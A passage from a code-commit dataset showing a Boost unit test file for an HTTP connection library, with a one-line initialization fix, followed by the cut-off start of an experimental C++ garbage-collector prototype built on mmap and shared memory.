< (Y)) ? (X) : (Y))\n\n#ifndef ARRAY_SIZE\n #define ARRAY_SIZE(a) (sizeof(a) \/ sizeof((a)[0]))\n#endif\n\nstatic bool close_called = false;\nstatic bool create_called = false;\n\nstatic const char *readbuffer;\nstatic const char *readbuffer_ptr;\nstatic size_t readbuffer_length;\n\nstatic char write_buffer[5000];\nsize_t write_buffer_written;\nstatic char *write_buffer_ptr;\n\nstatic const int FD_WOULDBLOCK = 1;\nstatic const int FD_COMPLETE_STARTLINE = 2;\nstatic const int FD_CLOSE = 3;\nstatic const int FD_ERROR = 4;\n\nextern \"C\" {\n\tssize_t socket_writev(socket_type sock, struct buffered_socket_io_vector *io_vec, unsigned int count)\n\t{\n\t\t(void)io_vec;\n\t\t(void)count;\n\n\t\tswitch (sock) {\n\t\tcase FD_COMPLETE_STARTLINE: {\n\t\t\tsize_t complete_length = 0;\n\t\t\tfor (unsigned int i = 0; i < count; i++) {\n\t\t\t\tmemcpy(write_buffer_ptr, io_vec[i].iov_base, io_vec[i].iov_len);\n\t\t\t\tcomplete_length += io_vec[i].iov_len;\n\t\t\t\twrite_buffer_ptr += io_vec[i].iov_len;\n\t\t\t}\n\t\t\twrite_buffer_written = complete_length;\n\t\t\treturn complete_length;\n\t\t}\n\t\t\n\t\tcase FD_WOULDBLOCK:\n\t\tdefault:\n\t\t\terrno = EWOULDBLOCK;\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tssize_t socket_read(socket_type sock, void *buf, size_t count)\n\t{\n\t\t(void)buf;\n\t\t(void)count;\n\n\t\tswitch (sock) {\n\t\tcase FD_COMPLETE_STARTLINE:\n\t\t\tif (readbuffer_length > 0) {\n\t\t\t\tsize_t len = MIN(readbuffer_length, count);\n\t\t\t\tmemcpy(buf, readbuffer_ptr, len);\n\t\t\t\treadbuffer_length -= len;\n\t\t\t\treadbuffer_ptr += len;\n\t\t\t\treturn len;\n\t\t\t} else {\n\t\t\t\terrno = EWOULDBLOCK;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tbreak;\n\t\t\n\t\tcase FD_CLOSE:\n\t\t\treturn 0;\n\n\t\tcase FD_ERROR:\n\t\t\terrno = EINVAL;\n\t\t\treturn -1;\n\n\t\tcase FD_WOULDBLOCK:\n\t\tdefault:\n\t\t\terrno = EWOULDBLOCK;\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tint socket_close(socket_type sock)\n\t{\n\t\t(void)sock;\n\t\tclose_called = true;\n\t\treturn 0;\n\t}\n}\n\nstatic enum eventloop_return eventloop_fake_add(const void *this_ptr, const struct io_event *ev)\n{\n\t(void)this_ptr;\n\t(void)ev;\n\treturn EL_CONTINUE_LOOP;\n}\n\nstatic void eventloop_fake_remove(const void *this_ptr, const struct io_event *ev)\n{\n\t(void)this_ptr;\n\t(void)ev;\n}\n\nint on_create(struct http_connection *connection)\n{\n\t(void)connection;\n\tcreate_called = true;\n\treturn 0;\n}\n\nstruct F {\n\tF()\n\t{\n\t\tclose_called = false;\n\t\tcreate_called = false;\n\n\t\tloop.init = NULL;\n\t\tloop.destroy = NULL;\n\t\tloop.run = NULL;\n\t\tloop.add = eventloop_fake_add;\n\t\tloop.remove = eventloop_fake_remove;\n\n\t\treadbuffer_ptr = readbuffer;\n\t\twrite_buffer_ptr = write_buffer;\n\t\twrite_buffer_written = 0;\n\n\t\thttp_parser_settings_init(&parser_settings);\n\t\thttp_parser_init(&parser, HTTP_RESPONSE);\n\n\t\thandler[0].request_target = \"\/\";\n\t\thandler[0].create = NULL;\n\t\thandler[0].on_header_field = NULL;\n\t\thandler[0].on_header_value = NULL;\n\t\thandler[0].on_headers_complete = NULL;\n\t\thandler[0].on_body = NULL;\n\t\thandler[0].on_message_complete = NULL;\n\n\t\thttp_server.handler = handler;\n\t\thttp_server.num_handlers = ARRAY_SIZE(handler);\n\t}\n\n\t~F()\n\t{\n\t}\n\n\tstruct eventloop loop;\n\thttp_parser parser;\n\thttp_parser_settings parser_settings;\n\tstruct url_handler handler[1];\n\tstruct http_server http_server;\n};\n\nBOOST_FIXTURE_TEST_CASE(test_websocket_alloc, F)\n{\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_WOULDBLOCK, false);\n\tBOOST_CHECK_MESSAGE(connection != NULL, \"Connection allocation failed!\");\n\t\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_buffered_socket_migration, F)\n{\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_WOULDBLOCK, false);\n\tBOOST_CHECK(connection != NULL);\n\n\tstruct buffered_socket *bs = connection->bs;\n\tconnection->bs = NULL;\n\tfree_connection(connection);\n\tBOOST_CHECK_MESSAGE(!close_called, \"Close was called after buffered_socket migration!\");\n\tbuffered_socket_close(bs);\n\tfree(bs);\n\tBOOST_CHECK_MESSAGE(close_called, \"Close was not called after buffered_socket_close!\");\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_invalid_startline, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_close, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_CLOSE, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_error, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_ERROR, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_match, F)\n{\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection != NULL);\n\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_match_create_called, F)\n{\n\thandler[0].create = on_create;\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection != NULL);\n\tBOOST_CHECK_MESSAGE(create_called, \"Create callback was not called!\");\n\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_no_match, F)\n{\n\thandler[0].request_target = \"\/foobar\/\";\n\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\t\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 404);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_invalid_url, F)\n{\n\thandler[0].request_target = \"\/foobar\/\";\n\n\treadbuffer = \"GET http:\/\/ww%.google.de\/ HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 400);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_connect_request_url_match, F)\n{\n\treadbuffer = \"CONNECT www.example.com:443 HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 400);\n}\n<commit_msg>Initialize loop variable completely.<commit_after>\/*\n *The MIT License (MIT)\n *\n * Copyright (c) <2016> <Stephan Gatzka>\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n#define BOOST_TEST_MODULE http_connection_tests\n\n#include <boost\/test\/unit_test.hpp>\n#include <errno.h>\n\n#include \"buffered_socket.h\"\n#include \"eventloop.h\"\n#include \"http_connection.h\"\n#include \"socket.h\"\n\n#define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))\n\n#ifndef ARRAY_SIZE\n #define ARRAY_SIZE(a) (sizeof(a) \/ sizeof((a)[0]))\n#endif\n\nstatic bool close_called = false;\nstatic bool create_called = false;\n\nstatic const char *readbuffer;\nstatic const char *readbuffer_ptr;\nstatic size_t readbuffer_length;\n\nstatic char write_buffer[5000];\nsize_t write_buffer_written;\nstatic char *write_buffer_ptr;\n\nstatic const int FD_WOULDBLOCK = 1;\nstatic const int FD_COMPLETE_STARTLINE = 2;\nstatic const int FD_CLOSE = 3;\nstatic const int FD_ERROR = 4;\n\nextern \"C\" {\n\tssize_t socket_writev(socket_type sock, struct buffered_socket_io_vector *io_vec, unsigned int count)\n\t{\n\t\t(void)io_vec;\n\t\t(void)count;\n\n\t\tswitch (sock) {\n\t\tcase FD_COMPLETE_STARTLINE: {\n\t\t\tsize_t complete_length = 0;\n\t\t\tfor (unsigned int i = 0; i < count; i++) {\n\t\t\t\tmemcpy(write_buffer_ptr, io_vec[i].iov_base, io_vec[i].iov_len);\n\t\t\t\tcomplete_length += io_vec[i].iov_len;\n\t\t\t\twrite_buffer_ptr += io_vec[i].iov_len;\n\t\t\t}\n\t\t\twrite_buffer_written = complete_length;\n\t\t\treturn complete_length;\n\t\t}\n\t\t\n\t\tcase FD_WOULDBLOCK:\n\t\tdefault:\n\t\t\terrno = EWOULDBLOCK;\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tssize_t socket_read(socket_type sock, void *buf, size_t count)\n\t{\n\t\t(void)buf;\n\t\t(void)count;\n\n\t\tswitch (sock) {\n\t\tcase FD_COMPLETE_STARTLINE:\n\t\t\tif (readbuffer_length > 0) {\n\t\t\t\tsize_t len = MIN(readbuffer_length, count);\n\t\t\t\tmemcpy(buf, readbuffer_ptr, len);\n\t\t\t\treadbuffer_length -= len;\n\t\t\t\treadbuffer_ptr += len;\n\t\t\t\treturn len;\n\t\t\t} else {\n\t\t\t\terrno = EWOULDBLOCK;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tbreak;\n\t\t\n\t\tcase FD_CLOSE:\n\t\t\treturn 0;\n\n\t\tcase FD_ERROR:\n\t\t\terrno = EINVAL;\n\t\t\treturn -1;\n\n\t\tcase FD_WOULDBLOCK:\n\t\tdefault:\n\t\t\terrno = EWOULDBLOCK;\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tint socket_close(socket_type sock)\n\t{\n\t\t(void)sock;\n\t\tclose_called = true;\n\t\treturn 0;\n\t}\n}\n\nstatic enum eventloop_return eventloop_fake_add(const void *this_ptr, const struct io_event *ev)\n{\n\t(void)this_ptr;\n\t(void)ev;\n\treturn EL_CONTINUE_LOOP;\n}\n\nstatic void eventloop_fake_remove(const void *this_ptr, const struct io_event *ev)\n{\n\t(void)this_ptr;\n\t(void)ev;\n}\n\nint on_create(struct http_connection *connection)\n{\n\t(void)connection;\n\tcreate_called = true;\n\treturn 0;\n}\n\nstruct F {\n\tF()\n\t{\n\t\tclose_called = false;\n\t\tcreate_called = false;\n\n\t\tloop.this_ptr = NULL;\n\t\tloop.init = NULL;\n\t\tloop.destroy = NULL;\n\t\tloop.run = NULL;\n\t\tloop.add = eventloop_fake_add;\n\t\tloop.remove = eventloop_fake_remove;\n\n\t\treadbuffer_ptr = readbuffer;\n\t\twrite_buffer_ptr = write_buffer;\n\t\twrite_buffer_written = 0;\n\n\t\thttp_parser_settings_init(&parser_settings);\n\t\thttp_parser_init(&parser, HTTP_RESPONSE);\n\n\t\thandler[0].request_target = \"\/\";\n\t\thandler[0].create = NULL;\n\t\thandler[0].on_header_field = NULL;\n\t\thandler[0].on_header_value = NULL;\n\t\thandler[0].on_headers_complete = NULL;\n\t\thandler[0].on_body = NULL;\n\t\thandler[0].on_message_complete = NULL;\n\n\t\thttp_server.handler = handler;\n\t\thttp_server.num_handlers = ARRAY_SIZE(handler);\n\t}\n\n\t~F()\n\t{\n\t}\n\n\tstruct eventloop loop;\n\thttp_parser parser;\n\thttp_parser_settings parser_settings;\n\tstruct url_handler handler[1];\n\tstruct http_server http_server;\n};\n\nBOOST_FIXTURE_TEST_CASE(test_websocket_alloc, F)\n{\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_WOULDBLOCK, false);\n\tBOOST_CHECK_MESSAGE(connection != NULL, \"Connection allocation failed!\");\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_buffered_socket_migration, F)\n{\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_WOULDBLOCK, false);\n\tBOOST_CHECK(connection != NULL);\n\n\tstruct buffered_socket *bs = connection->bs;\n\tconnection->bs = NULL;\n\tfree_connection(connection);\n\tBOOST_CHECK_MESSAGE(!close_called, \"Close was called after buffered_socket migration!\");\n\tbuffered_socket_close(bs);\n\tfree(bs);\n\tBOOST_CHECK_MESSAGE(close_called, \"Close was not called after buffered_socket_close!\");\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_invalid_startline, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_close, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_CLOSE, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_error, F)\n{\n\treadbuffer = \"aaaa\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(NULL, &loop, FD_ERROR, false);\n\tBOOST_CHECK(connection == NULL);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_match, F)\n{\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection != NULL);\n\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_match_create_called, F)\n{\n\thandler[0].create = on_create;\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection != NULL);\n\tBOOST_CHECK_MESSAGE(create_called, \"Create callback was not called!\");\n\n\tfree_connection(connection);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_url_no_match, F)\n{\n\thandler[0].request_target = \"\/foobar\/\";\n\n\treadbuffer = \"GET \/infotext.html HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\t\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 404);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_invalid_url, F)\n{\n\thandler[0].request_target = \"\/foobar\/\";\n\n\treadbuffer = \"GET http:\/\/ww%.google.de\/ HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 400);\n}\n\nBOOST_FIXTURE_TEST_CASE(test_read_valid_startline_connect_request_url_match, F)\n{\n\treadbuffer = \"CONNECT www.example.com:443 HTTP\/1.1\\r\\n\";\n\treadbuffer_ptr = readbuffer;\n\treadbuffer_length = ::strlen(readbuffer);\n\tstruct http_connection *connection = alloc_http_connection(&http_server, &loop, FD_COMPLETE_STARTLINE, false);\n\tBOOST_CHECK(connection == NULL);\n\n\tsize_t nparsed = http_parser_execute(&parser, &parser_settings, write_buffer, write_buffer_written);\n\tBOOST_CHECK(nparsed == write_buffer_written);\n\tBOOST_CHECK(parser.status_code == 400);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <map>\n#include <cstring>\n#include <algorithm>\n#include <iostream>\n\n\n\n\n#include \"alloc.hpp\"\n#include \"safemacros.h\"\n\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <signal.h>\n\nnamespace aL4nin\n{\n template <>\n struct meta<int>\n {\n int* allocate(std::size_t elems)\n {\n return new int[elems];\n }\n };\n\n\n\n template <>\n meta<int>& get_meta<int>(std::size_t)\n {\n static meta<int> m;\n return m;\n }\n}\n\n\/\/ metadata entry defines the\n\/\/ marking method:\n\/\/ a) bitpattern (up to 31 bits representing pointers to follow)\n\/\/ b) freestyle procedural marker\n\/\/ - uncommitted arrays must zero out object data before setting marker\n\/\/ - concurrency in data <--> metadata access???\n\n\n\/\/ let's fix some hard conventions\n\/\/ - T* is non-null collectable pointer that is to be followed\n\/\/ - nullable<T> is a possibly NULL pointer that should be followed\n\/\/ - T& is a non-assignable, non-null reference that is to be followed\n\/\/ - const T is a non-assignable non-null reference that is to be followed\n\/\/ - const nullable<T> is a non-assignable, possibly NULL pointer that should be followed\n\/\/ - references to builtin basic types are not followed\n\/\/ - non<T> is a pointer that will not be followed\n\/\/ - const non<T> is a non-assignable pointer that will not be followed\n\/\/ - thresholded<T, N> is like nullable but does not follow <= N\n\n#define WRAP(TYPE, MODIFIER) \\\n MODIFIER ## _WRAPPER(TYPE)\n\n#define BARE_WRAPPER(TYPE) TYPE\n#define _WRAPPER(TYPE) BARE_WRAPPER(TYPE)\n#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>\n#define NON_WRAPPER(TYPE) non<TYPE>\n#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>\n\ntemplate <typename T>\nstruct nullable\n{\n T* real;\n nullable(T* real)\n : real(real)\n {}\n};\n\n\ntemplate <typename T>\nstruct non\n{\n T real;\n non(const T& real)\n : real(real)\n {}\n};\n\n\nWRAP(int, NON) hh(42);\nWRAP(int, \/*BARE*\/) hh1;\nWRAP(int, NULLABLE) hh2(0);\n\nstruct foo\n{\n foo& f;\n foo() : f(*this)\n {}\n void bar()\n {\n\/\/\/ int i(&foo::f);\n }\n\n};\n\n\n\/\/ Anatomy of the WORLD.\n\/\/\n\/\/ The world is the part of the process memory that the GC\n\/\/ is interested in. It is completely subdivided in clusters.\n\/\/ The first cluster of the world is special.\n\/\/ Every other cluster is subdivided into 2^p pages. The size\n\/\/ of a page must match a (supported) VM page size.\n\/\/ The number of pages a cluster consists of (2^p) is dependent\n\/\/ on the cluster, so the world must store the ps in the special\n\/\/ cluster in order to be able to find the cluster boundaries.\n\/\/ At the start of each cluster we find the metaobjects.\n\/\/ The metaobject at displacement 0 (into the cluster) is\n\/\/ special, describing the metaobjects themselves, i.e. it is\n\/\/ a meta-metaobject.\n\/\/ Metaobjects are just additional information that is factored\n\/\/ out of the objects or can add information about the validity\n\/\/ and GC-properties of a group of objects.\n\n\/\/ Note: later I may introduce a multiworld, which may be\n\/\/ a linked list of worlds.\n\n\n\/\/ Checker templates\n\/\/\ntemplate <unsigned>\nstruct IsZero;\n\ntemplate <>\nstruct IsZero<0>\n{};\n\n\ntemplate <unsigned long DIVISOR, unsigned long DIVIDEND>\nstruct Divides : IsZero<DIVIDEND % DIVISOR>\n{};\n\n\n\n\n\/\/ World: define the layout of a world in the memory\n\/\/ and subdivide in pages. Provide info about the\n\/\/ location and size.\n\/\/ NUMPAGES: how many pages should this world hold\n\/\/ BASE: where should this world be located in the memory\n\/\/ PAGE: bits needed to address a byte in a page. i.e.\n\/\/ pagesize == 2^PAGE bytes\n\/\/\ntemplate <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>\nstruct World\n{\n enum { PageSize = 1 << PAGE };\n\n struct Page\n {\n char raw[PageSize];\n };\n\n Page pages[NUMPAGES];\n\n static void* start(void)\n {\n Divides<PageSize, BASE> c1;\n return reinterpret_cast<void*>(BASE);\n }\n\n static size_t size(void)\n {\n return PageSize * NUMPAGES;\n }\n\n void protectPageRW(unsigned pagenum)\n {\n protectClusterRW(pagenum, 1);\n }\n\n void protectClusterRW(unsigned from_pagenum, unsigned ps)\n {\n if (0 != mprotect(pages + from_pagenum, PageSize * ps, PROT_NONE))\n perror(\"mprotect\");\n }\n\n void* operator new(size_t s, int hdl)\n {\n void* here(mmap(start(),\n s,\n PROT_READ | PROT_WRITE,\n MAP_SHARED,\n hdl,\n 0));\n if (MAP_FAILED == here)\n perror(\"mmap\");\n\n assert(s == size());\n assert(here == start());\n assert(sysconf(_SC_PAGESIZE) == PageSize);\n \n return here;\n }\n};\n\n\n\n\/\/ MISC ideas\n\/\/ allocation: tell a cluster to allocate an obj of a certain\n\/\/ metadata \"class\". returns a cluster address, which may be the\n\/\/ same as the current cluster or pointer to a new cluster with\n\/\/ the object being in there. In this case the pointer must be\n\/\/ stored away for the next allocation request.\n\n\/\/ GC: use a posix message queue to tell which thread stack ranges\n\/\/ must be mprotected. This way the threads can be starved out\n\/\/ systematically.\n\n\n\n\/\/ RawObj2Meta is intended to return a pointer for an object\n\/\/ living in the world, that describes its allocation and collection\n\/\/ behaviour.\n\/\/ PAGE: number of bits needed to address a byte in a VM-page\n\/\/ CLUSTER: how many bits are needed to address a page in a VM cluster of pages\n\/\/ SCALE: how many bytes together have the same metadata info (2^SCALE bytes)\n\/\/ ##!! not true: SCALE simply tells us how much \"denser\" metaobjects are\n\/\/ compared to objects. I.e. 32*8byte (cons cells) together share the same\n\/\/ metaobject, and the metaobject is 8bytes then SCALE is 5 because\n\/\/ 2^5==32.\n\/\/\n\/\/ Theory of operation:\n\/\/ Find the lowest address in the cluster and scale down the displacement\n\/\/ of the object to the appropriate metaobject.\n\ntemplate <unsigned long PAGE, unsigned long CLUSTER, unsigned long SCALE>\ninline void* RawObj2Meta(void* obj)\n{\n typedef unsigned long sptr_t;\n register sptr_t o(reinterpret_cast<sptr_t>(obj));\n enum \n {\n pat = (1 << PAGE + CLUSTER) - 1\n };\n \n register sptr_t b(o & ~static_cast<sptr_t>(pat));\n register sptr_t d(o & static_cast<sptr_t>(pat));\n return reinterpret_cast<void*>(b + (d >> SCALE));\n}\n\n\ntemplate <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>\nstruct ClusteredWorld : World<NUMPAGES, BASE, PAGE>\n{\n template <unsigned long CLUSTER, unsigned long SCALE>\n struct Cluster\n {\n static inline void* Raw2Meta(void* obj)\n {\n return RawObj2Meta<PAGE, CLUSTER, SCALE>(obj);\n }\n };\n};\n\n\n#include \"alloc.cpp\"\n\n\nusing namespace std;\nusing namespace aL4nin;\n\nnamespace aL4nin\n{\n template <>\n meta<void>* object_meta<void>(void* p)\n {\n if (!p)\n return 0;\n\n static meta<void> me;\n return &me;\n }\n\n template <>\n struct meta<std::_Rb_tree_node<std::pair<const int, int> > >\n {\n typedef std::_Rb_tree_node<std::pair<const int, int> > payload;\n\n payload* allocate(std::size_t elems)\n {\n return new payload[elems];\n }\n };\n\n template <>\n meta<std::_Rb_tree_node<std::pair<const int, int> > >& get_meta<std::_Rb_tree_node<std::pair<const int, int> > >(std::size_t)\n {\n static meta<std::_Rb_tree_node<std::pair<const int, int> > > m;\n return m;\n }\n\n struct cons : pair<void*, void*>\n {};\n\n template <>\n struct meta<cons>\n {\n enum { bits = 32 };\n\n cons* objects;\n bool bitmap[bits];\n bool marks[bits];\n\n meta(void)\n {\n memset(this, 0, sizeof *this);\n }\n\n cons* allocate(std::size_t)\n {\n if (!objects)\n {\n objects = new cons[bits];\n *bitmap = true;\n return objects;\n }\n\n bool* end(bitmap + meta<cons>::bits);\n bool* freebit(find(bitmap, end, 0));\n if (freebit == end)\n return 0;\n\n *freebit = true;\n\n return objects + (freebit - bitmap);\n }\n\n void mark(const cons* p PLUS_VERBOSITY_ARG())\n {\n \/\/ simple minded!\n int i(bits - 1);\n for (const cons* my(objects + i);\n i >= 0;\n --my, --i)\n {\n if (bitmap[i] && p == my)\n {\n VERBOSE(\"identified as cons\");\n if (marks[i])\n {\n VERBOSE(\"already marked\");\n return \/*true*\/;\n }\n\n\n marks[i] = true;\n if (object_meta(p->first))\n {\n object_meta(p->first)->mark(p->first PASS_VERBOSE);\n }\n\n if (object_meta(p->second))\n {\n object_meta(p->second)->mark(p->second PASS_VERBOSE);\n }\n\n\n return \/*true*\/;\n }\n }\n\n VERBOSE_ABORT(\"not a cons\");\n }\n };\n\n\n template <>\n meta<cons>& get_meta<cons>(std::size_t)\n {\n static meta<cons> m;\n\n if (find(m.bitmap, m.bitmap + meta<cons>::bits, 0))\n return m;\n\n abort();\n }\n\n void* rooty(0);\n\n void collect(VERBOSITY_ARG())\n {\n VERBOSE(\"starting\");\n\n \/\/ do we need meta<void>\n \/\/ or can we safely assume\n \/\/ to know the exact meta type?\n \/\/ probably not: if a slot is just declared\n \/\/ <object> we never know the metadata\n meta<void>* m(object_meta(rooty));\n if (m)\n m->mark(rooty PASS_VERBOSE);\n \/\/\/ if (m.trymark(rooty.first)) ...;\n\n VERBOSE(\"done\");\n }\n\n void meta<void>::mark(void* p PLUS_VERBOSITY_ARG())\n {\n \/\/ look whether it is a cons\n VERBOSE(\"trying to mark: \" << p);\n \/\/ hack!\n meta<cons>& m(get_meta<cons>(1));\n m.mark(static_cast<cons*>(p) PASS_VERBOSE);\n }\n}\n\n\/\/ http:\/\/www.opengroup.org\/onlinepubs\/007908799\/xsh\/sigaction.html\n\/\/ http:\/\/www.gnu.org\/software\/libc\/manual\/html_node\/Sigaction-Function-Example.html\n\/\/ http:\/\/www.opengroup.org\/onlinepubs\/000095399\/basedefs\/signal.h.html\nvoid yummy(int, siginfo_t *, void *);\nvoid yummy(int, siginfo_t* indo, void *)\n{\n printf(\"gggg\\n\");\n abort();\n}\n\n\n\nint main(void)\n{\n vector<int, alloc<int> > v(3);\n map<int, int, less<int>, alloc<int> > m;\n m.insert(make_pair(1, 42));\n\n cons* c(alloc<cons>().allocate(1));\n c->first = c;\n c->second = 0;\n rooty = c;\n\n\n collect(true);\n\n int hdl(shm_open(\"\/blubber\",\n O_RDWR | O_CREAT,\n S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP));\n\n perror(\"shm_open\");\n\n# ifdef __APPLE__\n typedef ClusteredWorld<100, 0xFF000000UL, 12> world;\n# else\n typedef ClusteredWorld<100, 0xFF000000UL, 13> world;\n# endif\n \n int tr(ftruncate(hdl, world::size()));\n if (tr == -1)\n 